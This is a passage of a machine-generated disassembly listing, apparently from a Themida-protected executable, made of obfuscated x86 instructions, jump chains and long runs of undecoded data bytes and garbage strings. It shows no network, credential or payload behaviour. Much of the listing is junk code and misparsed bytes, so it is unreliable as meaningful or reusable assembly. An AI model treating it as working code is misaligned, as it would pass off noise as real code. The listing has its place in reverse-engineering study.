		sub	bl, ch
		pop	ecx
		add	bl, al
		push	eax
		push	2484h
		jmp	loc_54D310
; ---------------------------------------------------------------------------
		db 0FEh, 0C5h, 53h
		dd 0FFED0BE9h, 0BCE956FFh, 81FFFFF3h, 4C4h, 0FA885200h
		dd 0ECE9D188h, 5E000023h, 31EFC281h, 0DA013924h, 31EFEA81h
		dd 0DDE93924h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54714B:				; CODE XREF: Themida_:00548B5Ej
		shr	esi, 3
		xor	esi, 164576E8h
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebx
		push	edx
		jmp	loc_5497E0
; ---------------------------------------------------------------------------

loc_547165:				; CODE XREF: Themida_:00544798j
		add	esp, 4
		push	edx
		push	ebx
		pop	edx
		pop	ebx
		xchg	eax, ebx
		jmp	loc_543E73
; ---------------------------------------------------------------------------
		dw 1C87h
aPirvsa		db '$\P‰àVéí',7,0
		db 0
; ---------------------------------------------------------------------------

loc_54717F:				; CODE XREF: Themida_:00547A0Dj
		pop	ebp
		add	edx, ecx
		pop	ecx
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_5494A8
; ---------------------------------------------------------------------------

loc_547191:				; CODE XREF: Themida_:0054D7BEj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_54FB51
; ---------------------------------------------------------------------------
a_st		db '_éâ!',0
		dd 4055A00h, 87000000h,	248B2404h, 4B95124h, 0E9000000h
		dd 5E44h
; ---------------------------------------------------------------------------

loc_5471BC:				; CODE XREF: Themida_:005450A7j
		not	ebp
		jmp	loc_54E70D
; ---------------------------------------------------------------------------

loc_5471C3:				; CODE XREF: Themida_:0054A012j
		mov	eax, esp
		push	edi
		jmp	loc_54EA26
; ---------------------------------------------------------------------------
		db 81h
		dd 974983EFh, 0D652E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5471D6:				; CODE XREF: Themida_:0054BA8Ej
		add	ebx, 55ED319Dh
		shl	ebx, 2
		push	ebp
		mov	ebp, 7B081756h
		shl	ebp, 1
		or	ebp, 1F6D1A76h
		and	ebp, 7FBD7B25h
		add	ebp, 4AD816DEh
		jmp	loc_54CECE
; ---------------------------------------------------------------------------

loc_5471FE:				; CODE XREF: Themida_:0054906Cj
		and	eax, esi
		pop	esi
		shr	eax, 10h
		jmp	loc_54A1B8
; ---------------------------------------------------------------------------

loc_547209:				; CODE XREF: Themida_:0054D66Fj
		add	esp, 4
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	66Dh
		mov	[esp], esi
		push	7CA1h
		mov	[esp], ebp
		mov	ebp, 5CD3510Ah
		sub	esp, 4
		jmp	loc_54AFA8
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 3A3Bh, 83240C89h,	248904ECh, 24048324h, 83BFE904h
		dd 92B90000h, 81639310h, 4ECh, 242C8900h, 35EEE952h, 1580000h
		dd 241C8BDFh, 4C481h, 3C870000h, 24248B24h, 240CD366h
		dd 0C6AAE99Ch, 489FFFFh, 0E9E08924h, 1AF8h
; ---------------------------------------------------------------------------

loc_547284:				; CODE XREF: Themida_:0054950Cj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_545D2A
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0A8E92404h, 83000089h, 2C8904ECh, 7E0FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5472A2:				; CODE XREF: Themida_:0054619Dj
		mov	[esp], ebp
		push	esi
		jmp	loc_54CF6E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1C892424h, 0C6A8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5472B6:				; CODE XREF: Themida_:0054EC7Bj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54D194
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 6ED8EF81h, 0C8B158Fh, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 387A895Ch, 5F2434FFh, 5004C483h, 258BE9h
		dd 4EE8300h, 5C243487h,	0BB241C89h, 0FEh, 0FFE258E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54730D:				; CODE XREF: Themida_:0054E29Aj
		mov	edx, 42C63476h
		sub	ebp, edx
		pop	edx
		jmp	loc_54F981
; ---------------------------------------------------------------------------

loc_54731A:				; CODE XREF: Themida_:0054D202j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54CB9D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 45E92404h, 80000014h, 0E9802AE1h, 4688E908h,	0EE810000h
		dd 4E670286h, 36EE8146h, 1EE383Dh, 24348BF7h, 4C481h, 3C870000h
		dd 8983E924h, 68AC0000h, 172Bh,	0FFC6DAE9h, 0E95F58FFh
		dd 5FA8h, 396BB951h, 0C9817754h, 402B5071h, 77CBC981h
		dd 8141202Eh, 67F72F1h,	59C88904h, 5249525h, 0E131E929h
		dd 0F65CFFFFh, 0B60F66E1h, 0CF6866CCh, 0D257E947h, 6DE9FFFFh
		dd 5DFFFFC5h, 8B240487h, 0F662424h, 9C2404BBh, 83DBE9h
		dd 4EC8300h, 3AE7E9h, 0AE685700h, 8B2F5C12h, 0C481243Ch
		dd 4, 881FE9h, 24895C00h, 24048124h, 4,	592434FFh, 8104C483h
		dd 4C1h, 2BB5300h, 1000000h, 241C8BD9h,	3304C483h, 0C31240Ch
		dd 21A6E924h, 14870000h, 24248B24h, 5C7BE9h
		db 0
; ---------------------------------------------------------------------------

loc_547421:				; CODE XREF: Themida_:0054894Cj
		mov	[esp], edx
		push	eax
		mov	al, 40h
		mov	dh, 0B7h
		shl	dh, 2
		jmp	loc_546D63
; ---------------------------------------------------------------------------
		db 80h,	0F4h, 67h
		dd 54F65066h, 58660124h, 8005ECC0h, 0ABE9C6F4h,	0FF000025h
		dd 0D5E94077h, 52FFFFC4h, 0E9240CFFh, 4CEh, 515AB252h
		dd 0C888D188h, 0E9240C8Bh, 6118h, 0C6301734h, 2ABCE9h
		db 0
; ---------------------------------------------------------------------------

loc_547471:				; CODE XREF: Themida_:0054F8A9j
		pop	ebp
		pop	ecx
		jmp	loc_5478C5
; ---------------------------------------------------------------------------
		dd 0E904D828h, 0E689565Bh, 8E3BD55h, 0B8503613h, 31782E24h
		dd 0F702E0C1h, 35D8F7D0h, 0DBC88216h, 4D58C529h, 31A9C581h
		dd 0EE01E815h, 2EE815Dh, 33000000h, 34312434h, 24343324h
		dd 0E924248Bh, 0E96h
; ---------------------------------------------------------------------------

loc_5474BC:				; CODE XREF: Themida_:0054F765j
		mov	[esp], edi
		push	14BB0D82h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 14BB0DA6h
		mov	ebx, edi
		jmp	loc_54F7A9
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 9CC18104h, 1A7E369h,	0EA0159CAh, 5B6CEA81h, 34FF1689h
		dd 5EE95D24h, 81000075h, 4C4h, 4EC8100h, 89000000h, 0E6892434h
		dd 4C681h, 6C680000h, 8900000Ah, 0E953240Ch, 644Ah
; ---------------------------------------------------------------------------

loc_54751C:				; CODE XREF: Themida_:0054AA27j
		not	dh
		shr	dh, 6
		and	dh, 0EAh
		xor	dh, 3
		or	ch, dh
		pop	edx
		neg	ch
		shr	ch, 7
		jmp	loc_54FA1B
; ---------------------------------------------------------------------------
		dd 283AF280h, 0B0E95AD0h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54753F:				; CODE XREF: Themida_:005463AEj
		pop	esp
		push	ebp
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5458DC
; ---------------------------------------------------------------------------

loc_54754D:				; CODE XREF: Themida_:0054BCD3j
		pop	ecx
		push	1A23h
		mov	[esp], eax
		push	ebp
		push	25173A81h
		pop	ebp
		add	ebp, 0DF450356h
		mov	eax, ebp
		pop	ebp
		xor	edx, eax
		jmp	loc_544864
; ---------------------------------------------------------------------------

loc_54756D:				; CODE XREF: Themida_:0054BD10j
		sub	ecx, 101E07F4h
		xor	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_547F95
; ---------------------------------------------------------------------------

loc_54757C:				; CODE XREF: Themida_:0054A0A0j
		xor	ebx, edi
		pop	edi
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		jmp	loc_543CF3
; ---------------------------------------------------------------------------
		dd 83D830ACh, 66E904ECh, 8BFFFFCEh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A4AB
; ---------------------------------------------------------------------------
		dw 0D404h
		dd 0D42CD800h, 53F3B353h, 0C380C3B3h, 0BFCB8091h, 0E9E0B551h
		dd 4D0h, 0E952F2B2h, 81EBh, 0EAC0DAF6h,	0E9506603h, 808Ch
		dd 68240C89h, 7D0Bh, 54241489h,	4C2815Ah, 0E9000000h, 204Dh
		dd 240C8B66h, 8904EC83h, 0E189240Ch, 6156E955h,	0C7010000h
		dd 1459EF81h, 0C7816FEAh, 77B9181Ch, 450BE9h
		db 0
; ---------------------------------------------------------------------------

loc_547611:				; CODE XREF: Themida_:005462E3j
		pop	ebp
		push	ebx
		not	dword ptr [esp]
		jmp	loc_54EB7B
; ---------------------------------------------------------------------------
		db 30h
		dd 241C8BFDh, 4C481h, 0C5800000h, 27B65214h, 0F689B151h
		dd 9CE180D9h, 0E180C9FEh, 2A05E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54763E:				; CODE XREF: Themida_:00545226j
		mov	[esp], ebx
		jmp	loc_54B667
; ---------------------------------------------------------------------------

loc_547646:				; CODE XREF: Themida_:0054B43Aj
		push	7654h
		mov	[esp], ebp
		push	edi
		mov	edi, 0BABFBF6Fh
		jmp	loc_544A92
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 0FDh
		dd 2934BF15h, 0C3015EF0h, 5524048Bh, 0FFD787E9h, 7FC381FFh
		dd 0E96AE447h, 5E2Eh, 0D1BEF81h, 6CE9714Dh, 89000068h
		dd 0EEB850E7h, 0C16D1D32h, 890508E8h, 6856914Ah, 588Dh
		dd 0BD242C89h, 214D4D37h, 6909E9h
		db 0
; ---------------------------------------------------------------------------

loc_5476A5:				; CODE XREF: Themida_:0054F3C6j
		pop	ebx
		sub	ebx, offset byte_4355E1
		mov	esi, ebx
		pop	ebx
		pop	ebp
		add	esi, 0A32CAEF7h
		jmp	loc_54FD06
; ---------------------------------------------------------------------------
		db 81h
		dd 1C3D3FC2h, 0E1C2813Ah, 1217352h, 769568C2h, 0C890000h
		dd 6705B924h, 0F18128D6h, 509536C3h, 0FFF389E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5476E1:				; CODE XREF: Themida_:0054B907j
		mov	edi, 335E5259h
		add	eax, 42A31ECCh
		add	eax, edi
		sub	eax, 42A31ECCh
		pop	edi
		push	ebp
		jmp	loc_54F442
; ---------------------------------------------------------------------------

loc_5476F9:				; CODE XREF: Themida_:00543CC9j
		or	eax, 5BD874C6h
		dec	eax
		push	ecx
		push	2487h
		mov	[esp], ebx
		push	28C27DE7h
		pop	ebx
		add	ebx, 3CAB7B8Fh
		sub	ebx, 2A667D7Ch
		mov	ecx, ebx
		pop	ebx
		sub	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54C396
; ---------------------------------------------------------------------------
		dd 53243489h, 0FFF436E9h, 4C681FFh, 83000000h, 348704C6h
		dd 0DE95C24h, 52000064h, 38BAh,	0ACEA8100h, 811B7C7Ah
		dd 785871EAh, 462BE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547762:				; CODE XREF: Themida_:005479E2j
		push	esp
		jmp	loc_54C04E
; ---------------------------------------------------------------------------
aR3Aqscs	db 'Rº3&qéæS',0
		db 0
; ---------------------------------------------------------------------------

loc_547773:				; CODE XREF: Themida_:0054B763j
		shl	ecx, 3
		add	ecx, 3F814A2Dh
		add	esi, ecx
		jmp	loc_5494CB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 48B2434h, 0FD65E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547792:				; CODE XREF: Themida_:005445EBj
		mov	edx, [esp]
		jmp	loc_54FAE7
; ---------------------------------------------------------------------------
		dw 6857h
		dd 1F26h, 81242489h, 42404h, 505F0000h,	0DD152968h, 0F7485822h
		dd 35E0D1D8h, 7094C46h,	3508E8C1h, 0BD4C9Dh, 8358C701h
		dd 3C8704EFh, 34895C24h, 0E95E5424h, 3E05h
; ---------------------------------------------------------------------------

loc_5477D8:				; CODE XREF: Themida_:00543ECAj
		sub	eax, ebp
		pop	ebp
		add	eax, ebx
		add	eax, 70023AFCh
		push	ebx
		push	ecx
		mov	ecx, 63CD5FB3h
		jmp	loc_54CE31
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0D434E924h, 0EB81FFFFh, 443C4E7Dh, 425BDA31h, 0F281DAF7h
		dd 989B4591h, 2488C281h, 0F287379Bh, 2820E9h, 74FF5100h
		dd 0C8B0424h, 4C48124h,	0E9000000h, 0FFFFD7D4h,	0E542CFBEh
		dd 0FE27E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547832:				; CODE XREF: Themida_:0054AFABj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546AAB
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C48004ECh, 58E58822h, 80B2CD80h, 0DDF6FFEDh, 2C77F580h
		dd 51E828B2h, 0E98062B1h, 59C800B0h, 81240C8Bh,	4C4h, 53E95700h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54786F:				; CODE XREF: Themida_:00546A78j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_54787E:				; CODE XREF: Themida_:005484DCj
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_54C524
; ---------------------------------------------------------------------------
		dd 24048F5Ah, 6624248Bh, 9C2404D3h, 0FFC08BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547899:				; CODE XREF: Themida_:0054F9E4j
		push	ebp
		mov	ebp, 52E550ADh
		mov	edx, 46233670h
		xor	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_54F813
; ---------------------------------------------------------------------------
		db 66h
		dd 66240C33h, 0E9240C31h, 0FFFFC068h, 9C2424D2h, 0FFC05FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5478C5:				; CODE XREF: Themida_:00547473j
		mov	eax, [esp]
		add	esp, 4
		push	6B6Ch
		mov	[esp], esi
		mov	esi, 28BB7CF6h
		push	eax
		mov	eax, 2F2B0DABh
		sub	eax, 2EE3071h
		jmp	loc_54A0F7
; ---------------------------------------------------------------------------
		db 83h
		dd 0B65204C4h, 98CE80E4h, 8001C680h, 0EEC019EEh, 4EC8102h
		dd 89000000h, 8D68240Ch, 8900007Eh, 92E92404h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547913:				; CODE XREF: Themida_:00549E7Fj
		add	esp, 4
		add	eax, 2A687426h
		mov	esi, [esp]
		jmp	loc_54C75D
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 112EDDEAh, 93EA810Ah, 81489F51h, 3CD293F2h, 5AD131A8h
		dd 183FE9h, 0BD555300h,	13B486Bh, 8104EDC1h, 917380F5h
		dd 88ED8138h, 89F7E54Bh, 2DE95DEBh
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54795F:				; CODE XREF: Themida_:00545DD8j
		xor	ebp, 0FEF7F6BEh
		add	eax, ebp
		jmp	loc_54A7CF
; ---------------------------------------------------------------------------
		dd 4BEh, 57C40500h, 0F00157F3h,	0F357C42Dh, 4B0DE957h
		dd 44010000h, 5D580424h, 0B46ED81h, 0F758240Ch,	1C583D5h
		dd 748EF581h, 0EC83A74Ah, 243C8904h, 956CFEBFh,	2AF7813Dh
		dd 16FF633h, 84055FF8h,	293A6245h, 5D4DE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5479BA:				; CODE XREF: Themida_:00545642j
		mov	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_547762
; ---------------------------------------------------------------------------

loc_5479E7:				; CODE XREF: Themida_:00544749j
		mov	esi, 327D53F7h
		jmp	loc_54EDA3
; ---------------------------------------------------------------------------
aVsG		db 'Vé-ƒ',0
		db 0
; ---------------------------------------------------------------------------

loc_5479F7:				; CODE XREF: Themida_:0054B88Ej
		add	eax, 4F72BF6h
		add	eax, esi
		sub	eax, 4F72BF6h
		sub	esp, 4
		jmp	loc_5444D3
; ---------------------------------------------------------------------------

loc_547A0B:				; CODE XREF: Themida_:0054CD0Fj
		xor	ecx, ebp
		jmp	loc_54717F
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 5BDC885Ah, 0E588C4FEh, 0C0C5FE58h, 506604E5h, 6CE9FBB4h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547A2B:				; CODE XREF: Themida_:00548D24j
		mov	edx, 406A511Ch
		mov	ebp, 44BC8A7Dh
		sub	ebp, 1A565EA2h
		sub	ebp, edx
		add	ebp, 1A565EA2h
		pop	edx
		jmp	loc_549BD5
; ---------------------------------------------------------------------------

loc_547A49:				; CODE XREF: Themida_:0054A484j
		xchg	esi, [esp]
		pop	esp
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		and	ecx, eax
		jmp	loc_54E7B2
; ---------------------------------------------------------------------------
		db 9
		dd 0BD555FFEh, 0DA0E50h, 0F581D5F7h, 173D16B4h,	63F6F581h
		dd 0B951334Fh, 3A7366A7h, 6A42E9h, 28E95700h, 5CFFFFC1h
		dd 0E9241489h, 0FFFFF28Ch, 0A0E9EB20h, 5B00003Eh, 0E924048Fh
		dd 0FFFFD296h, 0D82CE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547AA6:				; CODE XREF: Themida_:005456E9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_549E67
; ---------------------------------------------------------------------------

loc_547AB7:				; CODE XREF: Themida_:0054F154j
		xchg	ebp, [esp]
		jmp	loc_54F02F
; ---------------------------------------------------------------------------
		db 57h
		dd 693ABA52h, 0D78916E6h, 0D71CE95Ah, 0E1C1FFFFh, 0E9535506h
		dd 5C12h, 3B40E95Ah, 8B660000h,	0EC812404h, 4, 0E9243C89h
		dd 6CA4h, 0B5240C89h, 1ED802Eh,	0F3E95166h, 55000000h
		dd 7D077FBDh, 5610E91Ch, 8B660000h, 0E9572404h,	782Eh
		dd 240C8B66h, 62ADE9h, 1AE95900h, 66000008h, 0E9240C8Bh
		dd 4DEFh
; ---------------------------------------------------------------------------

loc_547B2C:				; CODE XREF: Themida_:005464C5j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54D011
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 4CE959CFh,	66FFFFDAh, 0E924048Bh, 0FFFFEBFEh
		dd 4247401h, 8324348Bh,	148B04C4h, 4C48324h, 4C281h, 0C2830000h
		dd 74FF5202h, 8F5A0424h, 248B2404h, 2404FE24h, 0BDA6E99Ch
		dd 0F001FFFFh, 0F502E95Eh, 0F580FFFFh, 0D5B05023h, 2C58C528h
		dd 0E652E983h, 83ACFFFFh, 1C8904ECh, 4EC8324h, 0E9241489h
		dd 3515h, 56243C89h, 437ED0BEh,	5EF7892Dh, 6E5FE9h, 4896600h
		dd 0BD62E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547BC2:				; CODE XREF: Themida_:0054AFCEj
		mov	edi, ebp
		jmp	loc_548572
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Fh, 5C24048Fh,	66E1F766h, 6671C268h, 0E9241489h
		dd 631Bh
; ---------------------------------------------------------------------------

loc_547BE4:				; CODE XREF: Themida_:00545316j
		xor	ecx, 56353C99h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_543B0E
; ---------------------------------------------------------------------------
		dw 54F6h
		dd 0DE90124h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547BFB:				; CODE XREF: Themida_:0054CC99j
		sub	esi, 0FFFFFFFFh
		push	ebx
		push	eax
		jmp	loc_54D1E3
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 6E113CC3h, 4EC833Ah,	81240489h, 4ECh, 1D47E900h, 1E90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547C23:				; CODE XREF: Themida_:0054CFFBj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_548652
; ---------------------------------------------------------------------------
a3LFSA		db '3<$‹$$fÓ$$œé',0Ah
		db 'a',0
		db 0
; ---------------------------------------------------------------------------

loc_547C47:				; CODE XREF: Themida_:0054F172j
		sub	edx, esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7E3A3C22h
		sub	edx, edi
		pop	edi
		pop	esi
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_54515E
; ---------------------------------------------------------------------------
		db 5Fh,	87h, 2Ch
		dd 24248B24h, 242CD366h, 0BCAEE99Ch, 0D301FFFFh, 4C3815Ah
		dd 33000000h, 1C31241Ch, 241C3324h, 0E924248Bh,	0FFFFBC94h
; ---------------------------------------------------------------------------

loc_547C90:				; CODE XREF: Themida_:0054BAEDj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_54D7C3
; ---------------------------------------------------------------------------

loc_547C9C:				; CODE XREF: Themida_:00546041j
		add	esp, 4
		jmp	loc_5488A0
; ---------------------------------------------------------------------------
		dd 6624248Bh, 5324048Bh, 29BF68h, 24248900h, 4240481h
		dd 5B000000h, 35C968h, 24048900h, 1423E9h, 0E9565200h
		dd 0FFFFD7C5h, 5D32E95Ah, 0B9510000h, 4, 53E9C829h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547CE3:				; CODE XREF: Themida_:0054CEE1j
		add	eax, 5D2D26D7h
		jmp	loc_54CA73
; ---------------------------------------------------------------------------

loc_547CED:				; CODE XREF: Themida_:0054D910j
		push	edi
		mov	edi, 7E511C0Ch
		dec	edi
		shl	edi, 8
		or	edi, 0E6E225Bh
		inc	edi
		sub	edi, 4AC5ECDFh
		add	ecx, edi
		pop	edi
		sub	ecx, ebp
		sub	ecx, 14B83E7Dh
		pop	ebp
		add	ecx, 19BB14E7h
		sub	ecx, esi
		sub	ecx, 19BB14E7h
		add	ecx, 2D1F4BBFh
		pop	esi
		push	5F3Dh
		mov	[esp], esi
		mov	esi, 4
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_5480F9
; ---------------------------------------------------------------------------
		dd 240C8966h, 24048766h, 0F7665066h, 8B662414h,	0C4812404h
		dd 2, 24048766h, 240C8B66h, 2C481h, 31660000h, 3CE9240Ch
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547D73:				; CODE XREF: Themida_:0054516Aj
		push	ebp
		mov	ebp, 79577AC2h
		shr	ebp, 6
		xor	ebp, 1E55DEFh
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	38C0h
		mov	[esp], ecx
		push	edx
		push	702B1EA4h
		pop	edx
		neg	edx
		neg	edx
		sub	edx, 5AEFF8B5h
		mov	ecx, edx
		pop	edx
		xor	[esp+4], ecx
		jmp	loc_5453ED
; ---------------------------------------------------------------------------

loc_547DB6:				; CODE XREF: Themida_:00543F84j
		push	ebx
		jmp	loc_54472A
; ---------------------------------------------------------------------------
		dd 2AF6BF57h, 0C5E952DCh, 5B00004Ah, 1DC3EB81h,	0E3C122C3h
		dd 48F38102h, 0E98F0665h, 18A1h, 9D1C77FFh, 0D3665966h
		dd 0E99C2414h, 0FFFFBB38h, 31241C33h, 35E9241Ch, 0FF00007Ah
		dd 10E92434h, 81000027h, 6CBF29C7h, 5FFA3198h, 3AEAC781h
		dd 0D7296F44h, 0FFE764E9h, 240C8BFFh, 0D6CEE957h, 4968FFFFh
		dd 89000006h, 5751241Ch, 8D0A8BBFh, 8FEF8124h, 89E59893h
		dd 0CB895FF9h, 0F7DBF759h, 51DBF7DBh, 430EE9h, 5C80100h
		dd 202F3157h, 7D5F662Dh, 71190551h, 8759622Ah, 0DCE92404h
		dd 5B000008h, 0C739E950h, 0D568FFFFh, 89000019h, 0EBBB241Ch
		dd 2992C8B3h, 0F7015BDEh, 0BBEF815Eh, 1038A7Fh,	0BBC781CFh
		dd 68038A7Fh, 7C85h, 0FFE4CEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547E91:				; CODE XREF: Themida_:0054FAE2j
		mov	edi, 0FFFFFFFFh
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 3C727F80h
		and	ecx, ebp
		pop	ebp
		jmp	loc_54DD11
; ---------------------------------------------------------------------------
		dd 0E9241487h, 0FFFFF531h
; ---------------------------------------------------------------------------

loc_547EB4:				; CODE XREF: Themida_:00549BD0j
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54F7CD
; ---------------------------------------------------------------------------
		db 66h,	68h, 19h
		dd 4EC8306h, 0E9243489h, 2FFEh,	80B6C281h, 0D601D43Eh
		dd 14FDE9h
		db 0
; ---------------------------------------------------------------------------

loc_547EED:				; CODE XREF: Themida_:0054597Fj
		sub	eax, 4
		jmp	loc_545215
; ---------------------------------------------------------------------------
		db 4Ah,	0F7h, 0DAh
		dd 8107EAC1h, 2AB6A6C2h, 5AD601FEh, 4EC81h, 2C890000h
		dd 8EBA5224h, 4217025Ah, 5573BB53h, 0E4684135h,	89000070h
		dd 0BA52242Ch, 15947388h, 315AD589h, 38E95DEBh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547F33:				; CODE XREF: Themida_:0054DBF2j
		add	esp, 4
		add	edx, 67FB1763h
		jmp	loc_543E96
; ---------------------------------------------------------------------------
		dd 74FF5358h, 8F5B0424h, 76E92404h, 80FFFFD7h, 0CDFEB7EDh
		dd 36626850h, 1C890000h, 0CE95224h, 0B8000068h,	2, 4D19E9h
		dd 66546600h, 6624048Fh, 2B96651h, 44816600h, 56CF0224h
		dd 244C0166h, 6C816602h, 56CF0224h, 0FFEF01E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547F95:				; CODE XREF: Themida_:00547577j
		xor	dword ptr [esp], 7030FEh
		jmp	loc_5498FB
; ---------------------------------------------------------------------------

loc_547FA1:				; CODE XREF: Themida_:00548C56j
		mov	ah, 48h
		jmp	loc_54A65E
; ---------------------------------------------------------------------------
		dd 4C3815Bh, 0E9000000h, 766Dh
; ---------------------------------------------------------------------------

loc_547FB4:				; CODE XREF: Themida_:0054E77Bj
		mov	ecx, 24h
		add	ecx, edi
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_54689E
; ---------------------------------------------------------------------------
		dd 695C68h, 24148900h, 65B05066h, 1DCEE9h, 32FF6600h, 0FFC4C5E9h
		dd 4FCF68FFh, 8F540000h, 4812404h, 424h, 0EC835B00h, 3DCDE904h
		dd 505C0000h, 0FFC396E9h, 0CEED81FFh, 1922B27h,	0EBFDE9EBh
		dd 8358FFFFh, 48904ECh,	7FD66824h, 73E90000h, 66000047h
		dd 83240C8Bh, 2C8904ECh, 56E58924h, 0FFD296E9h,	4C483FFh
		dd 20DAE957h, 0EE810000h, 72C13D1Ah, 7417EE81h,	875F6DF1h
		dd 248B2434h, 48B6624h,	376D6824h, 3C890000h, 0F2E95424h
		dd 8B000003h, 4892424h,	0B8BAE924h, 0C829FFFFh,	50240C8Bh
		dd 315FE9h, 4C48100h, 50000000h, 1C592FB8h, 49ADE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548086:				; CODE XREF: Themida_:0054B8C5j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5490E4
; ---------------------------------------------------------------------------

loc_548091:				; CODE XREF: Themida_:0054BD65j
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54ED68
; ---------------------------------------------------------------------------

loc_5480B0:				; CODE XREF: Themida_:0054E41Ej
		mov	[esp], eax
		mov	eax, 713364Ch
		shr	eax, 3
		push	0
		sub	[esp], eax
		pop	eax
		sub	eax, 55D77EFDh
		jmp	loc_54D93D
; ---------------------------------------------------------------------------
		dw 0C800h
aYfr		db 'YfR²º',0
aS8		db 'ÐéÈ8',0
		align 4

loc_5480DC:				; CODE XREF: Themida_:0054E4BEj
		push	ebx
		push	edx
		push	6F432D94h
		pop	edx
		sub	edx, 772179FFh
		push	ecx
		mov	ecx, 66E1773Ch
